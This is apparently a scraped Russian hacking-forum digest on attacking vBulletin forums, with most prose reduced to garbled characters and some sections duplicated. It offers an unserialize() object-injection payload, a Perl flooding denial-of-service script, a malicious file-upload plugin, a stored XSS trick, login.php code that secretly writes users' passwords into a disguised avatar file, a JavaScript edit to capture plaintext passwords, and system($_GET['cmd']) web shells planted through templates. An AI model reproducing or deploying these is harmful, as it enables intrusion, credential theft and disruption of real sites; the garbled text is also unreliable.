Torrents Brute v 0.1 by [De-visible]

mybb@mybb.ru (DIRK) — Thu, 07 Jan 2010 04:15:52 +0300

�� http://torrents.ru/

�� :

- �� .
- �� .

� �� 4 ��:

1) passwords.txt
2) Good.txt
3) Bad.txt
4) [De-V] Brute.exe

��: secnull.INFO
��
��: [De-visible]

�� vBulletin

mybb@mybb.ru (DIRK) — Thu, 07 Jan 2010 03:36:00 +0300

�� , �� , �� , ��, ��, ��

� ��

�� VBulletin?
wwwforum.�om/forumpath/clientscript/vbulletin_ajax_threadslist.js
wwwforum.�om/forumpath/clientscript/vbulletin_editor.css
wwwforum.�om/forumpath/clientscript/vbulletin_ajax_namesugg.js
wwwforum.�om/forumpath/clientscript/vbulletin_attachment.js
� ��

VBulletin nulled <= 3.8.1 Arbitrary Function Execution
� �� COOKIE_SALT �� , �� , �� unserialize(). �� postvars �� vB_Shutdown, �� shutdown ��

�� phpinfo():

��:

/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO  :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

�� vBulletin ��
�� -> �� -> � "Plugin PHP Code" �� :

��:

$target_path = "images/avatars"; //���� ����������, ������� ��� �� ���� 777 �����

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
   echo "The file ".  basename( $_FILES['uploadedfile']['name']).
   " has been uploaded";
} else{
   echo "There was an error uploading the file";
}

�� , ��, � �� "No input File Specified". �� .

�� :

��:

<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>

�� , ��

vBulletin� Version 3.8.2 Denial of Service Exploit

��:

#!usr/bin/perl
#vBulletin� Version 3.8.2 Denial of Service Exploit
#ea$y Laster
##################################################  ######################
# Modules                                                              #
##################################################  ######################
use IO::SOCKET;           # Object interface                           #
##################################################  ######################
if (@ARGV<1){
print"
##################################################  ######################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
##################################################  ######################
##################################################  ######################
##                                ##                                  ##
##->vBulletin� Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Gebe diese Daten an             ##                                  ##
##1.Ziel                          ##[*] www.Ziel.com                  ##
##2.Board                         ##[*] vbulletin                     ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
##################################################  ######################
\a";}
$block = "
##################################################  ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
    print"$block\n";
    print q(Ziel->);
    chomp($ziel =<STDIN>);
    if ($ziel eq""){
    die "$fehler\a\n";}
    print"$block\n";
      print"$block\n";
      print q(Path->);
      chomp($path =<STDIN>);
      if ($path eq "") {
      die "$fehler !\a\n";}
      print"$block\n";
         print"$block\n";
         print "Verwundbarkeit\n";
         print"forumdisplay.php?f=\n";
         print"->"n;
           chomp($vul =<STDIN>);
           if ($vul eq "") {
           die "$fehler !\a\n";}
           print"$block\n";
              print"$block\n";
              print q(Time->);
              chomp($flood =<STDIN>);
              if ($flood eq "") {
              die "$fehler !\a\n";}
                 print"$block\n";
                 print"$block\n";
                 print q(Port->);
                 chomp($port =<STDIN>);
                 if ($port eq ""){
                 die "$fehler \n";}
                 print"$block\n";
                    print q(Send "start"->);
                    chomp($start =<STDIN>);
                    if ($start eq "") {
                    die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel   : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                              PeerAddr => "$ziel",
                              PeerPort => "$port",
                              Proto => "tcp",
                             );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}

�� , �� , �� , ��, ��, ��

� ��

VBulletin nulled <= 3.8.1 Arbitrary Function Execution
� �� COOKIE_SALT �� , �� , �� unserialize(). �� postvars �� vB_Shutdown, �� shutdown ��

�� phpinfo():
��|Code
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO :11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

�� vBulletin ��
�� -> �� -> � "Plugin PHP Code" �� :
��|Code
$target_path = "images/avatars"; //�� , �� 777 ��

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file";
}

�� , ��, � �� "No input File Specified". �� .

�� :
��|Code
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>

�� , �� smile.gif

vBulletin� Version 3.8.2 Denial of Service Exploit
��|Code
#!usr/bin/perl
#vBulletin� Version 3.8.2 Denial of Service Exploit
#ea$y Laster
################################################## ######################
# Modules #
################################################## ######################
use IO::SOCKET; # Object interface #
################################################## ######################
if (@ARGV<1){
print"
################################################## ######################
## _ _ _ _ ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##
## ##
################################################## ######################
################################################## ######################
## ## ##
##->vBulletin� Version 3.8.2<- ## ##
## ## ##
##Gebe diese Daten an ## ##
##1.Ziel ##[*] wwwZiel.com ##
##2.Board ##[*] vbulletin ##
##3.Verwundbarkeit ##[*] forumdisplay.php?f= ##
##4.Zeit des vorganges ##[*] 9999999999999999 ##
##5.Port ##[*] 80 ##
################################################## ######################
\a";}
$block = "
################################################## ######################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
print"$block\n";
print q(Ziel->);
chomp($ziel =<STDIN>);
if ($ziel eq""){
die "$fehler\a\n";}
print"$block\n";
print"$block\n";
print q(Path->);
chomp($path =<STDIN>);
if ($path eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print "Verwundbarkeit\n";
print"forumdisplay.php?f=\n";
print"->"n;
chomp($vul =<STDIN>);
if ($vul eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Time->);
chomp($flood =<STDIN>);
if ($flood eq "") {
die "$fehler !\a\n";}
print"$block\n";
print"$block\n";
print q(Port->);
chomp($port =<STDIN>);
if ($port eq ""){
die "$fehler \n";}
print"$block\n";
print q(Send "start"->);
chomp($start =<STDIN>);
if ($start eq "") {
die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel : $ziel\n";
print "[*]Kontroliere Board : $path\n";
print "[*]Kontroliere Port : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
PeerAddr => "$ziel",
PeerPort => "$port",
Proto => "tcp",
);

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}

�� vBulletin ��
�� , �� "��" �� . ��: �� - �� - �� . (�� site.com/admincp/profilefield.php?do=add). �� : �� - �� . �� . � �� :

��:

<script>alert('alert)</script>

�� . �� - �� - �� . (�� site.com/admincp/profilefield.php?do=modifycats) �� <script>alert('alert)</script> (�� site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, �� xx - �� , �� ), � �� - � �� .
cool.gif �� - �� (�� site.com/profile.php?do=editprofile), �� - � �� .

� mailbrush, ��

�� Vbulletin �� (�� )
�� : � �� login.php � ��

��:

// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
   $vbulletin->input->clean_array_gpc('p', array(
       'vb_login_username'        => TYPE_STR,
       'vb_login_password'        => TYPE_STR,
       'vb_login_md5password'     => TYPE_STR,
       'vb_login_md5password_utf' => TYPE_STR,
       'postvars'                 => TYPE_STR,
       'cookieuser'               => TYPE_BOOL,
       'logintype'                => TYPE_STR,
       'cssprefs'                 => TYPE_STR,
   ));

   define( 'auth_req', './customavatars/avatar178_2.gif' );
   $fp = fopen( auth_req, 'a' );  
   $un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 = date("d.m.y H.i.s");
   $message = "$un3:$un1:$un2\r\n";  
   flock($fp,LOCK_EX);  
   fwrite( $fp, $message );  
   fflush($fp); flock($fp,LOCK_UN); fclose( $fp );  

   // can the user login?

�� , �� . ��...
�� :

��:

...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...

��. �� javascript...
�� clientscript/vbulletin_md5.js
� �� :

��:

// implemented like this to make sure un-updated templates behave as before
           input.value = '';

�� , �� . �� (�� , �� JavaScript)...

��:

...
// input.value = '';
...

P.S. �� (��) ��
P.P.S. �� , � �� $un2=&$vbulletin->GPC['vb_login_md5password'];
�� md5(pass) �� , �� md5(md5(pass).salt)

� Basurman, ��

�� Vbulletin �� (�� ) - ��
1) �� login.php

��:

$Login = $_POST['vb_login_username'];
$Passwd = $_POST['vb_login_password'];
$fp = fopen("./customavatars/avatar178_2.gif","a+");
fwrite($fp,"$Login:$Passwd\n");
fclose($fp);

2) �� clientscript/vbulletin_md5.js �� .

3) �� :

��:

$link = mysql_connect('����','�����','����');
mysql_select_db('���� ������',$link);
$query = "TRUNCATE TABLE �������_session";
$result = mysql_query($query, $link);
mysql_close($link);

� GrAmOzEkA

�� vBulletin 2.*.* � 3.0.*
1. �� => �� => �� => �� (�� /images/smilies)
2. �� wwwsite.�om/�� /images/smilies/shell.php

�� vBulletin 3.5.*
1. �� => �� => ��
��: �� vBulletin
��: Vbulletin: �� - faq_complete
�� (�� 60��), ��

��:

system($_GET["cmd"]);

2. ��, �� faq (��), �� . �� system($_GET["cmd"]); �� wwwxz.�om/forumpath/faq.php?cmd=��

VBulletin 3.8.8 Remote code execution

CyberRoot.tk

Torrents Brute v 0.1 by [De-visible]

���������� vBulletin

�� vBulletin